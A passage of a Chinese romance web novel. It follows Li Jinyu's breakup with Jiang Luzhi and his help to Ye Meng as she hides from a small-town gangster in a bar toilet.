“镇上没人知道江露芝结婚了,这事儿我估计她妈都不知道,江姨要是知道,能飞去北京把她腿打断。毕竟江姨一直想让她找个本地的。”
“保不齐李靳屿就是知道呢?他万一就是心甘情愿当小三呢,毕竟江露芝是个富婆。”
“怎么可能,他要是知道,小胖子能这么大声昭告全天下他俩的事吗?”
“那李靳屿如果知道自己成了小三,会不会发疯?”
事实上,李靳屿没有发疯,两人当时在电梯口,他准备下楼预缴住院费,叶檬正好回家,于是便将这件事告知他,但并没有等来预期中的表情,哪怕连一个眼神都没有给她。
电梯间灯光刺眼,李靳屿大概也是等烦了,微微拽了下帽子遮光,清秀锋利的喉结在灯光下尤为明显,露出一种道德感极低的冷淡眼神,“哦,知道了,还有事吗?”
叶濛有时觉得这男人眼底就像藏着一只温和的小鹿,小鹿的眼睛里还藏着星星。他明明应该是很温顺的。可是,那只小鹿却把星星藏起来,满眼写着,我没什么道德,别企图绑架我。
“你第一天认识我,可能不太知道,我这人就挺垃圾的。”他不咸不淡地说。
4. 第三章
李靳屿跟江露芝只见过两次。一次是经人介绍,两人在咖啡馆短促地见过一面,三言两语就听出彼此不太来电。江露芝信誓旦旦要在北京闯出一片天地,言语间都是对大城市的神往。然而江露芝想要的都是他从小到大就唾手可得,而他早已对那个城市厌倦。
两人话不投机,匆匆结束约会后,江露芝显然是看不上他,连带着把他微信都删了。李靳屿本来不知道,那晚老太太拿他手机不知道是故意还是真那么不小心,他拦都来不及、猝不及防地就给江露芝发了一个表情过去,结果对面突然出现添加好友提示。他才知道被删了。
不过李靳屿从没删人微信的习惯,也没回删。
谁料,一周后,江露芝竟又主动加回他的微信,紧跟着就火急火燎地从北京赶回来,直接劈头盖脑地问他愿不愿意与她结婚。
李靳屿谈恋爱都觉勉强,何谈结婚呢?当下便拒绝。
江露芝纳闷,这男人要钱没钱,要地位没地位,身上不知道哪来一股不容人侵犯的拿人劲。于是不服气地问他:“为什么?你在这破地方还能找到比我条件更好的?”
两人当时在小河边,头顶是辽阔寂静的星空,像一张万籁俱寂的巨幕静静笼罩着两人。身后是缓慢徜徉的河水,河底薄薄地铺着一层光滑圆润的鹅卵石,耳边还全是叽里呱啦聒噪的蛙叫声。江露芝始终不敢相信,就这么个连肯德基都开不进来的小破县城,还有男人会拒绝她这朵别人想都不敢想的高岭之花?
李靳屿当时懒洋洋地靠着江露芝的车门,嘴里还含着一颗大白兔奶糖若有似无地嚼着,表情也冷淡,真就拿自己当渣男了,他说:“谈个恋爱还行,结婚就算了。我不会去北京,你又不甘心留在这,那咱们俩结婚后难道要异地么?你不怕我找别人,我怕我管不住自己下半身。毕竟我这人没什么道德底线。”
李靳屿长相算不上多极品难见的帅哥,丢人群里也就多看几眼的缘分。但气质独特,明明从没谈过女友,眼缝透着细腻和多情,说起话来都像个游刃有余的情场老手。她觉得这男人眼睛里有钩子。
江露芝这人做事势在必得,有付出必须有回报,便说谈恋爱也行,反正这趟我不能白来。你知道我一小时多少钱吗?李靳屿当时很想说是我叫你来的吗?不过这次倒没直接拒绝,而是姿态更放松地靠在车上,好奇地盯了她几秒,不知在想什么。
江露芝不知道他在拿什么乔,不知道的还以为他是什么纡尊降贵的富家小开。江露芝说:“你也不想你奶奶老给你到处找女孩相亲吧,老人家上了年纪难免心急,咱们先试试,不合适再说。”
最终,他答应下来,“行。”
-
算起来,江露芝比李靳屿还大两岁,长得算漂亮,但也不是第一个主动追他的姐姐。要换做以前,李靳屿基本不会考虑姐弟恋。
托他母亲的福,他对比他大的女人,有种天然恐惧。除了老太太。又恰恰因为老太太的缘故,他哄隔辈的奶奶们倒挺有一手的。
两人确定关系后,江露芝一刻没歇直接回了北京,除开中间偶尔几个电话,一趟也没回来过,这怎么转眼他就成小三儿了?
所以这事儿李靳屿还真是不知道。如果不是老太太非要牵线搭桥,他也并不想找女朋友。从前没找过,以后也不打算找了。尽管心理医生很多年前就建议过他,可以试着谈一场恋爱,改善周围的人物关系,也是缓解病情的一种办法。
有什么用呢?
至少他现在过得就不错,只要不看到他那个变态到极致的完美主义母亲,他就比以前好过很多了,虽然在很多人眼里他现在只是个一天打三份工的垃圾。
-
夜空高悬,星星难掩,或明或暗的星点发着悠然平静的光,圆圆的山头笼着一层淡淡的薄雾,不远处隐隐还能听见一丝微弱的蝉鸣。
叶濛离开后,李靳屿交完费斜倚在住院大楼的石柱上,仰头百无聊赖地赏着夜景,随手又拆了颗奶糖,一边浑不在意地嚼着,一边没心没肺地感慨当个垃圾挺好的。
这时,旁边忽然传来,“哥哥。”
李靳屿感觉自己的衣角被人轻轻拽了下,他微微蹙眉用余光扫了眼,是个瘦得跟小豆丁一样的小女孩,还没他大腿根高,咧着惨兮兮的空缺门牙,巴巴地问他还有没有糖。
今天真是神了奇了,螃蟹、糖……他是圣诞老人吗?有完没完?
“牙都掉没了,还想吃糖,你妈不打你?”他嘴角弯起,刻薄地说。
小女孩一愣,没想这哥哥这么帅,说话忒毒,张嘴要哭——
“猜吧,猜中了给你。”
李靳屿侧回身,拿后背靠着石柱,两手作势从裤兜里掏了下,握拳摆在小女孩面前让她选。
小女孩是个鬼灵精,一眼看破,振振有词说:“骗人,肯定两个都没有,我刚刚明明看你的糖是从衣兜里拿出来的。”
“我四个兜都有糖,等会给你看。”
“那……我猜这边。”小女孩将信将疑地指了指他的左手。还真有,她高兴地再次露出空缺的大门牙,李靳屿啧啧两声,觉得这小孩真丑。
“要给你剥么?”李靳屿懒洋洋问。
“好,”小女孩愣生生,不由得发自内心夸赞他,“哥哥,你是我见过最有钱的人,四个兜都有糖,我连个兜都没有。”她还拍了拍自己两边空白的兜位。
“骗你的,”李靳屿连哄带骗,人靠着,剥完糖捏在手里让她自己过来咬,“最后一颗,吃完记得刷牙,不然你剩下几颗牙明天给你拔掉。”
小女孩不惧威胁,心满意足嚼上糖,开始装模做样搭讪:“你住哪个病房呀,我能找你玩吗?我觉得你很酷,一身衣服都是黑漆漆的,就很像韩剧里面酷酷的地狱使者。”
李靳屿笑得不行,鬼个地狱使者。
“想找我拿糖吧?”李靳屿意味深长地睨着她,把手抄回兜里,像跟一个普通朋友那样对话,“看我心情吧,不定每天都在。”
“行吧,那我要回去了,再见,地狱使者!”小女孩稳重地道别,然后俩手往脸上猝不及防地扒拉出个鬼脸,转身踉踉跄跄跑了。
李靳屿扭头看她消失在走廊,干脆敞着腿坐在门口的三级台阶下,长腿直接搭在最后一节,转手又从兜里掏出那所谓已经没有的奶糖,慢条斯理地剥开糖纸,半咬在嘴里,透着一种要含不含的散漫,然后给江露芝拨了个电话过去。没人接,他也懒得再打,直接毫不犹疑挂断,言简意赅地发了两条微信过去,然后便把手机踹回兜里继续痛痒无关地嚼他的奶糖赏他的夜景。
J:听说姐姐结婚了?
J:是不是欠我一个解释嗯?
-
叶濛最近隔三岔五往医院跑,因为方雅恩老公出差还没回,她临危受命成了小保姆。小保姆跟隔壁床的小胖子已经混成了情同手足的兄弟,两人现在偶尔还会开黑打一把游戏,小胖子实在带不动,但叶濛对这种乖乖仔没有一点抵抗力,跟朋友打排位的时候都愿意带着他让他躺赢。
这会儿,小胖子推老太太去散步,方雅恩便不怀好意地怂恿她:“哎,你有没有兴趣玩养成啊?这小胖子性格真不错。”其实小胖子五官挺精致的,模样长得也清秀,瘦下来绝对是帅哥一枚。能有这么个帅比表哥,想必基因是差不到哪去。
“方雅恩,你别变态,”叶濛一本正经地警告她,“别说小胖不长在我的审美上,就算他长成他哥那样,就他哥是江露芝男朋友这点,他包括他身边的人,我都pass掉了,不可能考虑。”
方雅恩是知道的,大概是因为江家跟叶家在镇上地位差不多,都曾辉煌也都没落。但江家蒸蒸日上的这几年,叶家除了八卦满天飞之外毫无起色。
镇上人老爱拿叶濛跟江露芝做比较,说江家因为江露芝马上要逆风翻盘,反观叶家,乌云罩顶,无人敢碰。
叶濛很少跟人锱铢必较,唯独找男朋友这事儿绝对不能同江露芝沾边,不然以江露芝那跋扈的性子,势必踩着她吹一辈子。那她宁愿去死。
“现在是前男友了。”方雅恩咬了口苹果,突然出言提醒。
叶濛低着头刷猎头网,闻言一愣,手上快速滑过几条招聘信息,心不在焉地说:“动作很快嘛,谁提的?”
方雅恩挑眉,嚼着苹果下巴朝隔壁一点,幸好人不在,“还能谁?你没发现他最近都避着你嘛?”
叶濛本来没注意,经她这么一提醒,倒是想起来了,反正她只要一来,李靳屿待不了两分钟一准站起来走人。“你在怪我多管闲事咯?”叶濛锁上手机放到一旁的柜子上,抬头直视她。
昏暗的病房里,两人声音低若蚊蝇,方雅恩倒听出她话里有话。
“你不觉得这事儿你办得有点反常嘛?”方雅恩知道叶濛的性子,她对朋友能两肋插刀,对陌生人是不会浪费这种时间的,“你是存心要他难堪。”
“我承认我没安好心,我从小就这样。”叶濛坦率地说,一脸‘我本来就狼心狗肺你是不是对我有什么误解’的表情。
方雅恩很了解。所以那晚李靳屿下楼续住院费时,方雅恩就有预感,叶濛要跟出去,果然没几秒她就紧随而上。压根就是故意的。叶濛这人没别的优点,从小她就铁石心肠,别看她身上一股子散漫劲,跟谁都没脸没皮的,就算狐狸当了几年猫,本性也难改。就连当初方雅恩道上的朋友,都说这丫头铁定是个干大事的人。要不是她拦着,两人当场就结拜了。
方雅恩狐疑:“就因为他是江露芝的男朋友?”
“因为我发现我辞职之后,公司的律师团队也换人了,新律师团队是江露芝的诚然事务所。”叶濛说。
“你怀疑她在背后搞你?”
叶濛神情淡定地捞过一旁的手机,随手翻出几张照片将手机丢在床上让她自己看,——是江露芝和新合伙人的照片,皮笑肉不笑道:“自信点,把怀疑去掉。”
“江露芝这狗东西也真是……”方雅恩爆了句粗。
叶濛又说:“那你猜,勾恺又为什么同意江露芝把我挤走?”
“为什么
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?”方雅恩丈二和尚摸不着脑袋,她哪知道。
“勾恺当年有个富二代朋友得了抑郁症自杀未遂,大三就退学了。从那之后,勾恺身边几乎就没有过朋友,我认识他的时候,刚好从报社辞职,正是心灰意冷的时候。勾恺朝我抛来了橄榄枝,我那时候什么也不会,其实是我知道我自己很菜,我也懒得学,一点也不想努力,得过且过。照这种情况,基本上不出三天我就应该被辞退了,但是勾恺没有,他反而跟我说,你一定要保持这种消极怠工的状态,千万别努力,因为他身边有个太努力、对优秀、教养几乎追求到极致的朋友,导致勾恺从小就活在‘被朋友比较’的焦虑里。看到我,他觉得很治愈。他说,如果他那个朋友早点认识我,或许就不会因为抑郁症自杀,也不会退学。或许会是一个很优秀的记者、新闻人、翻译官、或者外交官,等等。”
方雅恩挺不可置信,“这时损你还是夸你?”
叶濛继续娓娓道来:“但后来我也变了,我想要在北京立足,开始疯狂加班,包里也会放一双高跟鞋随时准备见客户,一天二十四小时恨不得掰成四十八小时用。勾恺觉得我跟那些北漂族没什么区别。他说你已经被同化了,那还不如找个名牌大学毕业的,为什么找我这个野鸡大学的。他又不缺人才。”
“有钱人的脑子是不是都有点……”方雅恩简直觉得不可思议,居然还有老板嫌弃员工太努力。
“天知道我有多想每天躺着就有钱拿,什么都不用干。”
“对啊,那让他发你工资,你天天消极怠工不就好了。”
“妙就妙在,”叶濛郑重其事地摇头,“当你拿到跟自己的努力不对等的收入时,人是会陷入焦虑的,不出一年,马上就抑郁加焦虑,因为你根本不知道这样的日子能过多久。可如果你让他给你发对等的工资,你那消极怠工状态一个月能拿多少钱,还不如直接卷铺盖回家为什么要在那里浪费时间?勾恺说白了就是想看看我心态到底能有多好。他想看我炸毛,然后想让继续回去什么都不干,当他的舔狗。但没办法,我这人没别的优点就是心态太好。”
方雅恩再次感叹有钱人简直闲的,叹息道:“但这事跟李靳屿没关系,你不应该拿他撒气。搞得人家现在都不愿意看见你。”
“我知道,”她往后一靠,也跟着叹了口,“本来想旁敲侧击地问一下,但他那副自恋的样子实在太欠扁了,我就没忍住直接戳爆这个小气球了。我这两天也是想找机会跟他道个歉,但没想到,他躲着我。”
“你为什么总觉得他自恋,我觉得他就是有点冷而已,哪里自恋了。”
“在我这里,冷就是自恋,小胖这种才是小天使。”
“你是从小到大被人捧惯了,遇上个不搭理你的就说人家自恋,”方雅恩往后一倒,懒得再搭理她,“你还是跟你的小胖过去吧。”
时至傍晚,病房昏昧,方雅恩迷迷糊糊间快睡着,突然听见叶濛问了句:“小胖说他在哪家酒吧唱歌来着?”
“聚宝石,”方雅恩从被子里探出个脑袋,“你要去砸场啊?”
“我去捧个场,虽然他说了他是一个垃圾,又虽然,我也不是什么好东西。但还是得为我的莽撞道个歉。”
-
聚宝石开在离镇上最远的一座半山腰上,环境静谧,葱翠环绕,中央一座石砌的小屋,四方八角都透着一些绚烂的光,四周一片灯红酒绿,浅浅地铺盖在树缝里,格外清净,不像酒吧,倒像是个清吧。
小镇的酒吧营业时间,一般在六点至凌晨三点。
九点之前几乎没有客人,所以当叶濛六点就出现在聚宝石的时候,周遭的工作人员都觉得稀了奇了,这小破酒吧居然也还有人这么早来排队了。
叶濛打电话询问的时候,工作人员说,需要排队拿号才能进入。
好的,叶濛开着车一路飞驰,现在孤零零地拿着1号站在门口。
旁边还有条土狗身上挂着2号,吐着舌头笑眯眯地看着她。
“需要喝什么?”
服务员拿着菜单过来,热情地招呼她。
叶濛直白地说:“我找李靳屿。”
“小屿哥还没来,您喝点什么?”服务员笑眯眯地解释,“他一般这个时候还在家里睡觉。”
叶濛随手点了一杯长岛冰茶,合上菜单:“他几点来?”
“他八点半场,估计七点会来彩排。”
“咦!小屿哥,你来啦!”服务员疑惑的两眼冒泡。
叶濛转头就瞧见一个高大的人影门口走进来,背上挎着个黑黑大大的吉他包,门口那只挂着二号牌的土狗正扒着他的腿。
李靳屿蹲下去让它舔手,那张脸哪有冷冰冰的样子。光明坦荡的少年气,就是普普通通套件运动衫便蓬勃动人。修长的脖颈下锁骨线条清晰明显,叶濛瞧见了他喉结处淡淡的疤痕,远看像一个刚种上去的吻痕,散漫而肆意。
叶濛不知道怎么就突然想到勾恺说得——
少年他就肆意生长,他便拥有无限可能。
5. 第四章
酒吧音乐骤然响起,在耳边浑浑作响,恰巧盖过了服务员那声招呼。
李靳屿显然没有听到,背着他那把大吉他仍蹲在地上逗狗。下一秒,门口又晃晃荡荡进来一个人,脸上有两道很明显的疤,衬得俊秀的脸庞有些狰狞,似乎跟李靳屿是一起的,两人不知道说了些什么,这人聊着聊着时不时拿脚踢地上的小黄还叫它野狗。
小黄立马露出嫌恶的表情小心翼翼地往李靳屿怀里缩。
叶濛却蓦然愣住,他怎么会在这?
服务员伸手想再次招呼,叶濛忙不迭打断:“厕所在哪,我想先去个洗手间。”
“直走到底,有指示牌的,”服务员朝舞池侧边的通道指了下,“那小屿哥?”
“等会我自己找他。”叶濛丢下一句便起身匆匆离开。
-
啪嗒。
叶濛压着心跳,若无其事地关上厕所门。将轰轰作响的音乐声隔在门外,只剩下节奏感十足的鼓点声萦绕在耳畔,安静很多,连呼吸都清晰起来。她冷静半晌,才掏出手机给方雅恩打了个电话。
方雅恩刚睡醒,晨昏不辨,声音朦胧黏糊,还透着一点不耐烦的起床气:“大小姐,你又怎么了?”
“程开然现在在做什么?”
方雅恩听到这个名字大脑瞬间激灵,要不是脚骨打着钢板,差点从床上弹起来,“你碰见他了?”
叶濛嗯了声,“他跟李靳屿在一起。”
“李靳屿怎么会跟他混在一起?开开现在又不是一般的小混混,”方雅恩说,“他现在算是混出来了,老城区那块都是他在管,具体发生了什么电话里说不清楚,总之关系很复杂。但你也知道,我结婚后我老公就不让我跟他们来往,现在见面也就是点个头的情分。”
起初他们三个关系还不错,程开然比叶濛还小三岁,当年还是方雅恩的小弟。
宁绥县城不大,一条古运河横亘西北方向。西城是新城区,高楼林立,马路拓宽。北城是以前的老城区,水洞城门,灰白矮楼。叶濛以前就这地儿最熟,网吧游戏厅KTV宾馆一条街。高中前三年,周末全跟这蹲着,打打游戏上上网,或者跟方雅恩蹲在桥头,看别人拖鞋横飞地打群架。
那个时候,程开然还是个只会用拖鞋拍人脑瓜子的小混混。谁会想到他能有今日?叶濛没想到,所以在后来方雅恩辍学去深圳打工的那段日子里,叶濛是决心要好好读书,因为没人罩着,也只能好好读书了。
但程开然却依旧很疯的到处打架惹事泡妞抢别人女朋友。叶濛因此被无辜牵连好几次,那时候高三还有一波镇上的社会青年到学校去找叶濛,弄得老太太年纪一大把还天天被叫到学校接受老师的洗礼。叶濛便跟他断了联系,再也不愿跟他来往,即使路上碰见他被人打,跟她求救,也只当什么都没看见。她那时候全心全意只想考出去。不想过这散漫无羁的生活了。谁知道,那次程开然被人打半死,听说脸被毁容了。
“濛濛,”方雅恩挺严肃,“你现在先离开那里,千万别让他看见你。”
叶濛当即心凉:“他脸上的疤就是那次留下的?”
“是,以前挺好看一小孩,带着几道疤。你听我的,先回来,别让他看见你,他知道你从北京回来,前几天还在找人问你的消息。”
“他怎么不直接来我家堵我?”叶濛说。
方雅恩叹了口气:“早几年,你南塘庵那套老祖屋的房子他天天盯着。后来你奶奶报了警,他才算消停,他现在也不是普通的小混混了,知道道上的规矩,再恨你也不会找你家人的麻烦。但他早就放过话,这事儿必须要让你付出代价。他这人偏执,也怪我,如果我当初回来知道这事儿就把你俩的事情给解决了就不会这么麻烦。谁知道这几年他在镇上受尽冷眼,好不容易混出头了,性格越来越剑走偏锋。这事儿听我的,你先躲着他,等我出院我帮你找人摆平,不然以他现在的性子,恐怕真不会让你好过。”
-
叶濛现在是进退两难,回北京?她实在不愿意再像一条狗一样跟着勾恺。留在镇上?程开然怕是要废了她?好在,老天开眼,女厕所门隔着一条河就是酒吧的停车场。她看见程开然大步流星地朝一辆黑色奔驰走去。等程开然的车明晃晃地开出停车场,叶濛才从厕所出去。
外面换了首抒情音乐,静静在大厅里流淌。
酒吧里人突然多了起来,似乎来了两个乐队的人坐在沙发上喝酒聊天。
大厅灯光格外亮,白色的射灯从四角打出来,舞池中央摆着四张长型沙发,而且全部挤满了人,都是玩音乐的年轻人,风格迥异,或站或坐,男女生都有,长短发也有,打摇滚辫的,红黄绿蓝白毛都有,怎么引人注意怎么打扮。唯独李靳屿这个男人干干净净地穿着一身黑隐在人堆里,如果不注意看长相和气质,他一定是最容易被忽略的那个。
他其实跟其他人毫无二致,大大的黑色吉他包就放在他的脚边,他甚至还懒些,整个人靠在沙发上,两腿大剌剌就那么敞着,身上每一寸线条都恰到好处,没有一丝多余粘腻的感觉。而且这种坐姿,有些男生的挡位会拱起一些很不好看的弧度,但他没有。甚至因为他那种不容忍侵犯的气质,叶濛压根不敢往那关注。
他不知道什么时候换了件黑衬衫,估摸也是淘宝99块钱包邮款,但穿在他身上莫名还挺有品质的,袖子随意地卷到小臂处挽着,远远只瞧见他耳钉在灯光中轻闪,一只清白劲瘦的手臂搭在沙发背上,正一边同人说着话,一边漫不经心地一圈圈甩手机,这哪像是个卖唱的,倒像是个游荡花丛片叶不沾身的富家小开。
叶濛盯着瞧了会儿,决定喝口长岛冰茶就结账走人。谁料,刚刚咬住吸管,一个男服务员热情十足地过来问她:“小姐,需要点歌吗?今晚有没有喜欢的乐队?”
“什么乐队?”叶濛含着酒,含糊不清地问了句。
“她是小屿哥的粉丝,来找小屿哥的。”刚刚替她点过单的服务员,非常好心的替她解释,又非常体贴地冲坐在人堆里那位不是公子哥,胜似公子哥的男人,喊了句:“小屿哥!你的粉丝。”
这一声吼,直接把沙发上所有音乐才子的目光齐刷刷吸引了过来!
叶濛觉得,她现在脸上的表情,完全可以代替舞池上头的五彩灯球,进行工作了。
李靳屿像是被人打断,转头朝她这边看来,“不认识,找错人了。”
叶濛想说,算了。
结果沙发上那群人不知道被戳了什么点,一听是李靳屿的粉丝,兴奋地不行,“来来来,靳屿,你过去请小妹妹喝杯酒。”
小妹妹?
叶濛很不乐意了,三步并作两步走过去,抻着脸色,对李靳屿说:“你出来下,弟弟。”
叶濛就觉得很神奇,无论把李靳屿丢在什么乱七八糟的人堆里,他永远都是看起来最干净、最清爽的那个,绝对鹤立鸡群。哪怕他不说话,只要他笑一下,你就忽略不了他。
他的眼睛像颗干净的黑色玻璃球,清澈又亮,单就这么干干净净看着的时候,眉骨眼梢都透着一点颓丧,他人靠着,动都懒得动一下,非常不爽地,“你叫谁弟弟?”
“行吧,李靳屿,你跟我出来下,我有话对你说。”
恰在此时,李靳屿手机响了。是江露芝。
-
两人站在酒吧门口,身后挤了一堆人探头探脑,窃窃私语。
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“这什么情况?是不是粉丝啊?”
“好像在逼靳屿哥分手。”
“……什么!!小屿哥劈腿了?!”
一堆人万万没想到。
当然,叶濛也万万没有想到,自己竟然见证了李靳屿跟江露芝的分手全过程。虽然方雅恩说李靳屿已经成为了前男友,看来也是李靳屿自己单方面跟老太太宣布过了,听江露芝的口气,她也是今天才第一次联系李靳屿。
然而,李靳屿在通话前,非常不要脸地问叶濛:“要不要听下我跟我女朋友是怎么分手的?”
叶濛立马说:“不用啊,我是来跟你……”
李靳屿哪管她用不用,一只手漠然地抄在兜里,接通直接就开了扩音,压根看都没看她,傍观冷眼地对电话那头的人说道:“什么事?”
电话那头传来熟悉的女声,叶濛还挺唏嘘的。没想到缘分这么奇妙。
江露芝打这个电话显得也很匆忙,“我才看到你的微信。抱歉,靳屿,我跟我前男友复合了。”
李靳屿无关痛痒地说:“恭喜了。”
江露芝说:“具体等我回来再跟你讲,但我确实还放不下他,我已经跟他领证了。咱们之间是我对不住你,等回来我亲自登门跟奶奶道歉。”
李靳屿:“好,还有事吗?”
“好”字听上去莫名乖。
“没有,抱歉,这几天鸡飞狗跳的,没第一时间通知你。”江露芝听起来是万分歉意。
等电话挂了,李靳屿锁掉手机,眼神冷淡地看了眼叶濛,说了句:“满意了吗?别再来烦我。”便往里走。
“你等下。”叶濛刚喊住,扎眼的车灯倏忽闪过,她微眯眼,只见酒吧外的小路上突然缓缓开进一辆奔驰,她原本没有在意,毕竟这镇上奔驰车太多了。但她出于直觉,下意识瞄了眼车牌,如果她没记错的话,应该就是程开然那辆。
叶濛哪还顾上道歉,二话没说转身跑回厕所。
但不巧,程开然一下车就大步流星地朝厕所去,他显然是看到叶濛了。
酒吧四周山风呼啸,冷风顺着窗户涌入,吹得隔板门嗡嗡作响,叶濛后背渗着汗贴着门板,大气不敢喘一口,生怕程开然闻着味冲进来。
服务员死乞白赖地跟程开然在周旋,“不合适,不合适,这女厕所,真不合适。”
程开然现在就像一个即将面临爆炸的高压锅:“我就看一眼,我看一眼是不是我朋友!”
叶濛深知今晚被程开然逮到的后果,方雅恩不在,程开然一定会弄死她的。她心跳骤快,耳蜗嗡嗡甚至已经快要听不清外面的人到底在说什么了。
“我他妈就看一眼!如果不是我立马走人!”
程开然的声音已经不耐烦到了极点,叶濛仿佛看见千万把带着火苗子的箭簇朝她射来!
叶濛清晰地感觉到自己全身脉搏紧张的仿佛要炸开。她把心一横,要不出去跟他谈谈。
嗒嗒。
窗户边有人轻轻地敲了下。
夜色朦胧,叶濛却清晰地看见一只修长的手影,食指冲她微微一勾。
她缓缓走过去,把窗推开。
李靳屿懒散且一副老神在在地模样靠在窗边的墙上,“会游泳吗?”他朝底下那条脏兮兮,上面飘满了塑料袋以及不知道什么腐烂物的小河上指了下。
叶濛:“你游一个我看看?”
李靳屿:“很好,算我多嘴。”
叶濛:“你有没有别的办法?”
李靳屿靠着墙,不知道从哪儿摸出来一副黑色手套,开始慢条斯理地戴:“有,叫声哥哥来听听。因为我很讨厌别人当着我朋友面叫我弟弟。”
6. 第五章
酒吧是之前村镇小平房民屋改建的,掩映在一片绿树交错中。格局不变的话,女厕所应该是之前的浴室改建,窗户低矮狭窄,勉强能过人。外面连通着葱郁茂密的小树林,底下是泛着腐烂恶臭味的臭水河。
叶濛问:“你有什么办法,酒吧前后门和停车场都让程开然的小弟堵了。这么大小点的酒吧连只蚂蚁都藏不住。你能带我出去?”
“你猜。”
李靳屿人很高,半个腰身露在窗外,两人第一次站这么近,叶濛更能清晰地看见他喉结上的“吻痕”,几乎可以确定是疤,比他周身的皮肤略薄一层,微微凹陷,偏淡红色,其实看不太出来,但因为他太白,所以很明显。
叶濛冷冷地看着他,表情很不屑:“你以为我自己没有办法?非要求助于哥哥是吗?”
本来李靳屿听到前半句挺无所谓地转身就走。
直到后半句,他脚步慢慢停下来,低头笑了下,才重新回到窗前冲她说:“让开。”
门外争吵声愈见激烈,仿佛高压锅爆炸前疯狂泄压的出气嘴,鼓噪的气氛似乎也随着那急速旋转的气阀门,升至最高温。
“程先生,您真的不能进,这是女厕所,里面有一位女客人,您守在门口等她出来不行吗?”服务员真是鞠躬尽粹,还在心平气和地劝。
程开然仍是火冒三丈:“她万一从后面翻窗跑了怎么办!”
服务员仿佛对这样的场景身经百战,耐心备至并且胸有成竹地说道:“厕所后面有条臭水河,连蚂蚁经过都要捏鼻子,而且我们为了防止有客人逃单,还特意在窗户上加了电网,所以您不用担心她会逃跑,人肯定还在里面。”
程开然暗忖片刻,下最后通牒:“好,我再给你五分钟。”
叶濛这人是不太会轻易服软,之所以对李靳屿“跪”得这么轻车熟路,完全只是因为刚刚看他戴手套的姿势太专业。装备这么齐全,显然是对这里非常了解。
只见李靳屿双手攀住窗棱,用力一撑,轻而易举就翻身上了窗,紧跟着手脚麻利地侧身从窗户里钻了进来,一套动作连环行云流水,一看就是拥有多年的丰富作案经验。果然没有被电。
叶濛突然就很放心:“你这手套绝缘的?”
李靳屿从窗上跳下来,脚刚稳稳当当落地,人还没站直,表情狐疑:“什么绝缘?”
叶濛靠着墙,指了指他的黑色手套,“服务员说这有电网。”
“私人电网违法的。”李靳屿不知道什么时候摘下手套,随手一丢,忽然开始莫名其妙地解衬衫扣。
叶濛表情一滞,不由得往后退了一步。
李靳屿低头瞧着她,他应该是天生深情眼,即使现在眼神冷得像一滩死水,但也是含情脉脉,边解边对她说:“这里的服务员随机应变能力很强,他们为了不得罪任何客人,哄得你们服服帖帖,说过的谎话,会发电的话,地球大概五十年不用断电。”
“那你戴手套干嘛?”叶濛视线随着他手上的动作缓缓下移。
李靳屿从容地将衬衫扣解到第四颗:“我只是嫌窗户脏,并不是每天都有人爬窗的。”
叶濛:“………………”
门外程开然又砰砰砰开始疯狂地敲门。
“别说我没给你面子,还有三分钟,时间一到,撞门!”程开然耐心已耗尽。
李靳屿一把将叶濛推入隔间门,“进去把衣服脱了丢出来,锁好门。”
-
三分钟后,“嘭!”一声巨响,厕所的小木门轰然倒地,重重地砸在地上,一时间烟尘四起,灰雾蓬蓬散散弥漫,所有人猝不及防地闯入视野。
叶濛抱着李靳屿在最后一分钟丢进来的一包衣服,紧紧贴在隔间的门板上,表情还算冷静,听着门外的一举一动。
然而门外所有人都有些惊呆。
李靳屿人靠在洗手台上,后方镜子映出他干净利落的后脑勺,黑衬衫扣凌乱不堪散到胸口,露出一片令人心猿意马的胸膛,甚至还在微微起伏着。不过他是真的很白,里头的皮肤比脖子还白。衬衫摆半扎半不扎、松散地掉落在腰部,加上那张什么都不当回事的英俊脸孔,真真是让门外的女士们都大饱眼福。脸又红,眼却馋。
这种状态,对于以前的李靳屿来说,他可能会在心里想,啊,我脏了。但是现在,他游刃有余到靠在洗手台上,点了根许久未抽的烟,正消沉且散漫地一口一口吐着烟圈。
程开然急不可耐地一把推开堵在他面前敬业到让人想给他发月薪十万的服务员,表情非常意外,“你怎么在这!?我刚刚明明看见一个女的从这边进来。”
“在里面穿衣服。”李靳屿偏头掸了下烟灰说。
酒吧小哥们的小眼睛瞪得比葡萄还圆,此刻仿佛一堆千年化石,比谁更久远,一动不动。主要是这小屿哥前脚才跟女朋友分手,后脚就在厕所里跟人打野/炮?而且重点是,李靳屿平日里看起来真不像是会跟人打野/炮的人。
真不像吗?又有人扪心自问了下。
其实李靳屿平日里就看着挺吊儿郎当的,虽然看着冷冷淡淡的,大部分女孩跟他搭讪他可都没拒绝。说他渣吧,也算不上,可他好像就是有点持美行凶,对谁都好,对谁也都待答不理的,说白了就是个没规矩的人,做事全看他心情,随性的很。这么说起来,如果浓情蜜意、情之所至、难分难舍,倒也不是不可能。
程开然倒没想那么多,反倒觉得这样的李靳屿才是正常男人,眼神朝隔间门指了下,“女朋友?”
李靳屿表情很懒散,吸了口烟说:“算不上。”
厕所只有一个隔间,其他地方一目了然,除了底池上胡乱丢着几个拖把,显然是没地方藏人的。程开然还是不敢相信,像个没头苍蝇四处找了一圈,连窗户外都仔仔细细地看了一遍,一个鬼影都没有。
“这里除了你们没别人了?”程开然难以置信。
李靳屿笑了下,“你觉得我有让人看的习惯?”
“我在外面拍了这么久的门,你都没听见?”
李靳屿无语:“我还想问你到底发生了什么,好好的带一帮人冲进来?我真是……”他一手夹烟,一手掐腰,无奈地长吐了口气,简直影帝。
程开然表示理解,还是不死心地说:“那你让这女的出来给我看一眼,我确认下,是不是我以前认识那女的。”
李靳屿把烟掐了,双手抄在兜里,起身离开洗手台走到隔间门口同程开然面对面站着,黑衬衫松松垮垮套着,这副刚完事的慵懒样,着实让门口的女士们眼红,只听他面不改色道:“开哥,这么多人看着呢,镇上这么小,我脸皮厚点给你们看了也就看了,人家小姑娘传出去多难听。”
李靳屿这声开哥叫得,让程开然直接无言以对,毕竟自己比他还小一岁呢,于是程开然大剌剌一挥手,让身后的小弟悄无声息地把门关上,屋内只剩下他们鼻峰相对,李靳屿比他略高点,加上这游戏人间的姿态,多少看着比他更像流氓。
“我一个人,看一眼,”程开然对他倒是很客气,“要实在怕不好意思,让她捂着脸,我看个衣服就行。”
李靳屿表情有些不耐,但还是不咸不淡地说:“那你等她穿好衣服。”
程开然见他松口,表情也缓和下来:“她叫什么名字?”
“翠花?桂芬?不知道,没问过。”
“啧啧,你也是真够不挑的。”
李靳屿敷衍笑着,用一种属于他们男人间直白的眼神看着程开然,靠在隔间门口,拿手指节叩叩敲了两下隔板,懒洋洋道:“穿好了就出来,别磨叽。哥没时间陪你在这耗。”
